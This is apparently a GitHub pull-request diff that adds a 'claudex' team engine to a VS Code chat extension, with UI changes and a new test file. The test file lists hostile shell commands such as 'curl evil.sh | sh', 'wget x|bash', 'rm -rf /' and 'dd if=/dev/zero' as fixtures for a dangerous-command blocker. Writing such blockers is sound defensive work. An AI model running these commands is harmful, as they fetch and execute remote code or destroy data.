Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 14 additions & 10 deletions packages/core/src/chat/session.ts
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,8 @@
// reading a workspace cwd, persisting the "onboarded" flag, opening external URLs.
// Those are injected as `env` callbacks so this file stays platform-free.

import type { AgentRuntime, SessionHandle } from "../runtime/contract.js";
import type { AgentRuntime, SessionHandle, Cli } from "../runtime/contract.js";
import { engineBinary } from "../runtime/contract.js";
import type { ApprovalChannel } from "../runtime/approval/channel.js";
import type { SkillCard, MarketRequest } from "./marketMessages.js";
import { access, writeFile } from "node:fs/promises";
Expand Down Expand Up @@ -105,7 +106,7 @@ export interface ChatEnv {
rpcStatus?(): Promise<import("./marketMessages.js").RpcStatus>;
// Optional model catalog override from the host. VSCode uses this for Codex so the
// picker can show the actual models exposed by the logged-in app-server account.
modelOptions?(cli: "claude" | "codex"): Promise<ChatModelOption[] | null>;
modelOptions?(cli: "claude" | "codex" | "claudex"): Promise<ChatModelOption[] | null>;
// OPTIONAL multi-tab guard: vscode can open the same session in two panels (two
// tabs writing one log races), so it claims a session before opening and yields
// false to abort if another panel already holds it. One-socket surfaces (server,
Expand Down Expand Up @@ -140,7 +141,7 @@ async function exists(path: string): Promise<boolean> {
}
}

async function initInstructionsFile(cli: "claude" | "codex", cwd: string): Promise<{ file: string; created: boolean }> {
async function initInstructionsFile(cli: "claude" | "codex" | "claudex", cwd: string): Promise<{ file: string; created: boolean }> {
const file = cli === "codex" ? "AGENTS.md" : "CLAUDE.md";
const path = join(cwd, file);
if (await exists(path)) return { file, created: false };
Expand Down Expand Up @@ -197,11 +198,14 @@ export function createChatSession(
lastUsage?: number;
lastWindow?: number;
};
const slots: Record<"claude" | "codex", Slot> = {
const slots: Record<Cli, Slot> = {
claude: { handle: null, parked: new Set(), mode: "acceptEdits", restage: null },
codex: { handle: null, parked: new Set(), mode: "auto", restage: null },
// claudex = its own engine (Team mode); runs the claude binary with parallel-Codex
// fan-out forced on. Default mode acceptEdits so the lead's merge edits auto-apply.
claudex: { handle: null, parked: new Set(), mode: "acceptEdits", restage: null },
};
let cli: "claude" | "codex" = "claude"; // which tab is showing
let cli: Cli = "claude"; // which tab is showing
const slot = () => slots[cli];

// Handles with a turn in flight (set in ensureHandle when a turn starts, cleared in
Expand All @@ -212,7 +216,7 @@ export function createChatSession(
// from a busy session). Cleared if you switch back before that turn ends.
const retire = new Set<SessionHandle>();

function isVisibleHandle(forCli: "claude" | "codex", h: SessionHandle): boolean {
function isVisibleHandle(forCli: Cli, h: SessionHandle): boolean {
return cli === forCli && slots[forCli].handle === h;
}

Expand Down Expand Up @@ -242,7 +246,7 @@ export function createChatSession(
// background reply doesn't bleed into the other tab's log). The message already
// carries its own .cli (stamped by the runtime), so the UI badges the real engine
// per-message — correct even for a cross-CLI session.
function wire(forCli: "claude" | "codex", h: SessionHandle) {
function wire(forCli: Cli, h: SessionHandle) {
h.onMessage((msg) => { if (isVisibleHandle(forCli, h)) transport.send({ type: "message", msg }); });
// a skill firing → the green "Casting <skill>" marquee (issue #17). Transient, not
// persisted; only painted for the active tab.
Expand Down Expand Up @@ -401,9 +405,9 @@ export function createChatSession(
transport.send({ type: "skillShopping", on });
}

async function pushModelOptions(forCli: "claude" | "codex") {
async function pushModelOptions(forCli: Cli) {
if (!env.modelOptions) return;
const options = await env.modelOptions(forCli).catch(() => null);
const options = await env.modelOptions(engineBinary(forCli)).catch(() => null);
if (options?.length) transport.send({ type: "modelOptions", cli: forCli, options });
}

Expand Down Expand Up @@ -459,7 +463,7 @@ export function createChatSession(
// you on an empty screen. We show a loading flash, hand the session to the new
// slot, and repaint — the next send resumes it (history re-injected into the
// new cli). If nothing was open, just switch to a blank chat as before.
if ((m.cli === "claude" || m.cli === "codex") && m.cli !== cli) {
if ((m.cli === "claude" || m.cli === "codex" || m.cli === "claudex") && m.cli !== cli) {
const carry = slot().pendingId; // the session the OLD engine was showing
cli = m.cli;
void pushModelOptions(cli);
Expand Down
85 changes: 77 additions & 8 deletions packages/core/src/chat/ui/webview.ts
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,7 @@ export function chatHtml(): string {
:root {
--an-green: #3ac07a; /* brand accent (codex/brand) */
--claude: #e9883a; /* claude engine accent (orange) */
--claudex: #a98bff; /* claudex/Team engine accent (purple) */
--an-green-soft: rgba(58,192,122,0.16);
--an-green-line: rgba(58,192,122,0.38);
--an-green-dim: rgba(58,192,122,0.08);
Expand Down Expand Up @@ -263,6 +264,7 @@ export function chatHtml(): string {
/* engine accent for the unread state — keyed off data-cli, same source the send button uses */
#jumpBtn[data-cli="claude"] { --eng: var(--claude); }
#jumpBtn[data-cli="codex"] { --eng: var(--an-green); }
#jumpBtn[data-cli="claudex"] { --eng: var(--claudex); }
/* when there's a NEW message while scrolled up: outline + icon glow in the engine accent
(claude=orange / codex=green), background stays black/white per theme. */
#jumpBtn.hasNew { color: var(--eng); border-color: color-mix(in srgb, var(--eng) 88%, transparent);
Expand Down Expand Up @@ -586,6 +588,7 @@ export function chatHtml(): string {
/* per-engine accent: a single var the composer themes off of */
#composer { --eng: var(--an-green); --engSoft: var(--an-green-dim); --engLine: var(--an-green-line); }
#composer[data-cli="claude"] { --eng: var(--claude); --engSoft: rgba(233,136,58,0.12); --engLine: rgba(233,136,58,0.45); }
#composer[data-cli="claudex"] { --eng: var(--claudex); --engSoft: rgba(169,139,255,0.14); --engLine: rgba(169,139,255,0.48); }

/* composer top row: skills (left) ←→ engine tabs (right) */
#composerTop { display: flex; align-items: flex-end; justify-content: space-between; }
Expand Down Expand Up @@ -815,9 +818,13 @@ export function chatHtml(): string {
border-radius: var(--an-radius-sm) var(--an-radius-sm) 0 0; position: relative; top: 1px;
transition: opacity 0.12s, background 0.12s; }
.etab:hover { opacity: 0.8; }
/* claudex needs BOTH claude + codex signed in (lead + workers); dulled until then */
.etab.locked { opacity: 0.28; cursor: default; }
.etab.locked:hover { opacity: 0.3; }
.etab .ed { width: 6px; height: 6px; border-radius: 50%; background: currentColor; opacity: 0.5; }
.etab[data-cli="claude"] { color: var(--claude); }
.etab[data-cli="codex"] { color: var(--an-green); }
.etab[data-cli="claudex"] { color: var(--claudex); }
/* the ACTIVE tab pops forward: full opacity, raised, merged into the input box */
.etab.active { opacity: 1; background: var(--an-bg-2); border-color: var(--engLine);
border-bottom: 1px solid var(--an-bg-2); top: 2px; z-index: 2; font-weight: 600; }
Expand Down Expand Up @@ -1515,6 +1522,7 @@ export function chatHtml(): string {
<div id="engineTabs">
<div class="etab active" data-cli="claude"><span class="ed"></span>claude</div>
<div class="etab" data-cli="codex"><span class="ed"></span>codex</div>
<div class="etab" data-cli="claudex"><span class="ed"></span>claudex</div>
</div>
</div>
<div id="inputWrap">
Expand Down Expand Up @@ -1998,6 +2006,13 @@ export function chatHtml(): string {
{ value: 'full', label: 'Full access', title: 'Full disk + network access, never ask (use with care)' },
],
};
// claudex is its own engine (Team mode) but runs the claude binary, so it shares
// claude's model + permission-mode catalogs.
MODES.claudex = MODES.claude;
MODELS.claudex = MODELS.claude;
// Claudex mark: one lead node fanning out to two workers (line-art, currentColor so the
// accent color drives it). No emoji anywhere in the UI — this is the engine's glyph.
const CLAUDEX_ICON = '<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><circle cx="5" cy="12" r="2.2"/><circle cx="18" cy="6" r="2.2"/><circle cx="18" cy="18" r="2.2"/><path d="M7.1 11 15.6 6.9M7.1 13 15.6 17.1"/></svg>';
// reasoning effort levels (applies to both engines; labels mirror CLI EffortPicker)
const EFFORTS = [
{ value: 'default', label: 'default', title: 'Engine default (usually medium)' },
Expand All @@ -2008,9 +2023,9 @@ export function chatHtml(): string {
{ value: 'max', label: 'max', title: 'Maximum effort (select models)' },
];
// remember the chosen mode + model + effort per engine so switching tabs restores them
const modeByCli = { claude: 'acceptEdits', codex: 'auto' };
const modelByCli = { claude: 'default', codex: 'default' };
const effortByCli = { claude: 'default', codex: 'default' };
const modeByCli = { claude: 'acceptEdits', codex: 'auto', claudex: 'acceptEdits' };
const modelByCli = { claude: 'default', codex: 'default', claudex: 'default' };
const effortByCli = { claude: 'default', codex: 'default', claudex: 'default' };
let cli = 'claude';
let cliReport = null;

Expand Down Expand Up @@ -2140,7 +2155,7 @@ export function chatHtml(): string {
effortMenu.style.bottom = (window.innerHeight - r.top + 6) + 'px';
}
function setTab(next) {
if (next !== 'claude' && next !== 'codex') return;
if (next !== 'claude' && next !== 'codex' && next !== 'claudex') return;
cli = next;
tabs.forEach(t => t.classList.toggle('active', t.dataset.cli === cli));
composer.dataset.cli = cli; // tints the input (claude=orange/codex=green)
Expand All @@ -2150,16 +2165,34 @@ export function chatHtml(): string {
fillModes();
fillEfforts();
}
// claudex (Team mode) needs BOTH engines signed in: claude leads, codex does the work.
function claudexReady() { return !!(cliReport && cliReport.claude === 'ok' && cliReport.codex === 'ok'); }
// Dull the claudex tab until both engines are ready, so it reads as not-yet-available.
function refreshEngineTabs() {
const cxTab = tabs.find(t => t.dataset.cli === 'claudex');
if (cxTab) {
cxTab.classList.toggle('locked', !claudexReady());
cxTab.title = claudexReady() ? 'Claudex — a team of Codex workers led by Claude' : 'Sign in to BOTH Claude and Codex to use Claudex (Team mode)';
}
}
function selectTab(next) {
if (next === cli) return;
// claudex is gated on both engines — block + explain instead of switching.
if (next === 'claudex' && !claudexReady()) {
renderNotice('Claudex (Team mode) needs BOTH Claude and Codex signed in — Claude leads, Codex does the work. Sign in to whichever is missing, then try again.');
return;
}
setTab(next);
const status = cliReport && cliReport[next];
// claudex runs the claude binary, so its install/login state IS claude's.
const statusCli = next === 'claudex' ? 'claude' : next;
const label = next === 'claudex' ? 'Claudex (Claude)' : next === 'claude' ? 'Claude' : 'Codex';
const status = cliReport && cliReport[statusCli];
if (status === 'missing') {
renderNotice((next === 'claude' ? 'Claude' : 'Codex') + ' is not installed.');
renderNotice(label + ' is not installed.');
return;
}
if (status === 'no-login') {
renderNotice((next === 'claude' ? 'Claude' : 'Codex') + ' is not signed in. Type /login to connect it.');
renderNotice(label + ' is not signed in. Type /login to connect it.');
return;
}
vscode.postMessage({ type: 'platform', cli });
Expand All @@ -2168,6 +2201,7 @@ export function chatHtml(): string {
vscode.postMessage({ type: 'effort', effort: currentEffort() === 'default' ? undefined : currentEffort() });
}
tabs.forEach(t => t.addEventListener('click', () => selectTab(t.dataset.cli)));
refreshEngineTabs();
// each chip toggles its own popover; clicking it again (while open) closes it
modelBtn.addEventListener('click', (e) => {
e.stopPropagation();
Expand Down Expand Up @@ -2430,6 +2464,38 @@ export function chatHtml(): string {
// prepend. Returns the bash card if it's awaiting output (so the caller can track it).
function renderToolInto(row, msg) {
const t = msg.tool || {};
if (t.name === 'Claudex') {
// Claudex Team mode (plans/claudex-team-mode.md): a war-room card — one tile per
// Codex worker. output = {goals:[…]}. ponytail: post-hoc tiles, no live bars yet.
let goals = [];
try { const p = JSON.parse(t.output || '{}'); if (Array.isArray(p.goals)) goals = p.goals.map(String); } catch (e) {}
const card = document.createElement('div'); card.className = 'toolCard';
const head = document.createElement('div'); head.className = 'toolHead';
head.innerHTML = '<span class="tk" style="color:var(--claudex);display:inline-flex">' + CLAUDEX_ICON + '</span>';
const title = document.createElement('span');
title.textContent = 'Team — ' + goals.length + ' Codex worker' + (goals.length === 1 ? '' : 's') + ' in parallel';
head.appendChild(title); card.appendChild(head);
const grid = document.createElement('div');
grid.style.cssText = 'display:grid;gap:6px;padding:8px;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));';
goals.forEach((g, i) => {
const tile = document.createElement('div');
tile.style.cssText = 'border:1px solid var(--an-line);border-radius:var(--an-radius-sm);padding:7px;min-width:0;overflow:hidden;';
const lab = document.createElement('div');
lab.style.cssText = 'font-family:var(--vscode-editor-font-family);font-size:0.7em;text-transform:uppercase;letter-spacing:1px;color:var(--claudex);margin-bottom:3px;';
lab.textContent = 'codex #' + (i + 1);
const goal = document.createElement('div');
goal.style.cssText = 'overflow-wrap:anywhere;word-break:break-word;';
goal.textContent = g;
tile.appendChild(lab); tile.appendChild(goal); grid.appendChild(tile);
});
card.appendChild(grid);
const foot = document.createElement('div');
foot.style.cssText = 'border-top:1px solid var(--an-line-soft);padding:6px 11px;font-size:0.72em;opacity:0.6;';
foot.textContent = 'Built by a team of rival AIs — Claude + Codex';
card.appendChild(foot);
row.appendChild(card);
return null;
}
if (t.command !== undefined) {
const card = document.createElement('div'); card.className = 'toolCard bash';
const head = document.createElement('div'); head.className = 'toolHead';
Expand Down Expand Up @@ -2466,7 +2532,7 @@ export function chatHtml(): string {
function renderTool(msg, prepend) {
const t = msg.tool || {};
// output-only result (claude) → fold into the open bash card
if (t.command === undefined && t.diff === undefined && t.output && openBash && !prepend) {
if (t.name !== 'Claudex' && t.command === undefined && t.diff === undefined && t.output && openBash && !prepend) {
setOutput(openBash, t.output, t.exitCode);
openBash = null;
return;
Expand Down Expand Up @@ -4853,6 +4919,7 @@ export function chatHtml(): string {
else if (m.type === 'platform') setTab(m.cli); // extension switched CLI (e.g. on session open)
else if (m.type === 'cliStatus') {
cliReport = { claude: m.claude, codex: m.codex };
refreshEngineTabs();
const status = cliReport[cli];
if (status === 'no-login') renderNotice((cli === 'claude' ? 'Claude' : 'Codex') + ' is not signed in. Type /login to connect it.');
else if (status === 'missing') renderNotice((cli === 'claude' ? 'Claude' : 'Codex') + ' is not installed.');
Expand All @@ -4863,6 +4930,7 @@ export function chatHtml(): string {
else if (m.type === 'claudeLoginStatus') {
if (m.status === 'done') {
cliReport = Object.assign({}, cliReport || {}, { claude: 'ok' });
refreshEngineTabs();
renderNotice('Claude sign-in complete.');
if (cli === 'claude') vscode.postMessage({ type: 'platform', cli: 'claude' });
} else {
Expand All @@ -4875,6 +4943,7 @@ export function chatHtml(): string {
else if (m.type === 'codexLoginStatus') {
if (m.status === 'done') {
cliReport = Object.assign({}, cliReport || {}, { codex: 'ok' });
refreshEngineTabs();
renderNotice('Codex sign-in complete.');
if (cli === 'codex') vscode.postMessage({ type: 'platform', cli: 'codex' });
} else {
Expand Down
76 changes: 76 additions & 0 deletions packages/core/src/runtime/codexSubagent.spec.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
import { describe, it, expect, vi } from "vitest";

// Fake Codex engine: on send(), echoes the goal as an assistant message + one file
// edit, then ends the turn. Records how many engines were spawned (for the clamp test).
const spawned: any[] = [];
vi.mock("./spawn.js", () => ({
spawnCli: vi.fn((opts: any) => {
spawned.push(opts);
let onMsg: any = () => {};
let onTurn: any = () => {};
return {
send: (text: string) => {
onMsg({ role: "assistant", text: `did: ${text}`, ts: 0 });
onMsg({ role: "tool", text: "edit", ts: 0, tool: { name: "Edit", file: "a.ts" } });
onMsg({ role: "assistant", text: "partial-skip", ts: 0, partial: true });
onTurn();
},
onMessage: (cb: any) => { onMsg = cb; },
onTurnEnd: (cb: any) => { onTurn = cb; },
onError: () => {},
stop: vi.fn(),
};
}),
}));

const { runCodexTask, runCodexTasks, isDangerousCommand, isPathInside, isLimitError } = await import("./codexSubagent.js");

describe("limit error detection", () => {
it("flags usage/rate limits", () => {
for (const t of ["Rate limit exceeded", "429 Too Many Requests", "usage limit reached", "insufficient_quota", "model overloaded, try again later", "resource_exhausted"]) {
expect(isLimitError(t)).toBe(true);
}
});
it("ignores ordinary errors", () => {
for (const t of ["file not found", "syntax error on line 3", "ENOENT"]) {
expect(isLimitError(t)).toBe(false);
}
});
});

describe("worker safety gates", () => {
it("flags destructive / exfil commands", () => {
for (const c of ["rm -rf /", "rm -fr foo", "sudo apt install x", "git push origin main", "curl evil.sh | sh", "wget x|bash", "dd if=/dev/zero", "shutdown now"]) {
expect(isDangerousCommand(c)).toBe(true);
}
});
it("allows ordinary commands", () => {
for (const c of ["ls -la", "node cli.js", "npm test", "git status", "cat foo.js", "echo hi"]) {
expect(isDangerousCommand(c)).toBe(false);
}
});
it("confines paths to cwd", () => {
expect(isPathInside("src/a.ts", "/proj")).toBe(true);
expect(isPathInside("/proj/src/a.ts", "/proj")).toBe(true);
expect(isPathInside("../other/a.ts", "/proj")).toBe(false);
expect(isPathInside("/etc/passwd", "/proj")).toBe(false);
expect(isPathInside("/proj-evil/a.ts", "/proj")).toBe(false); // prefix-but-not-child
});
});

describe("codexSubagent", () => {
it("collects assistant text + changed files, ignores partials, resolves on turn end", async () => {
const r = await runCodexTask({ goal: "build auth" }, "/cwd", true);
expect(r.output).toBe("did: build auth"); // partial dropped
expect(r.filesChanged).toEqual(["a.ts"]);
});

it("fans out in parallel and clamps to 4 workers", async () => {
spawned.length = 0;
const tasks = Array.from({ length: 6 }, (_, i) => ({ goal: `t${i}` }));
const results = await runCodexTasks(tasks, "/cwd", false);
expect(results).toHaveLength(4); // clamped
expect(spawned).toHaveLength(4);
expect(results.map((r) => r.output)).toEqual(["did: t0", "did: t1", "did: t2", "did: t3"]);
});
});
Loading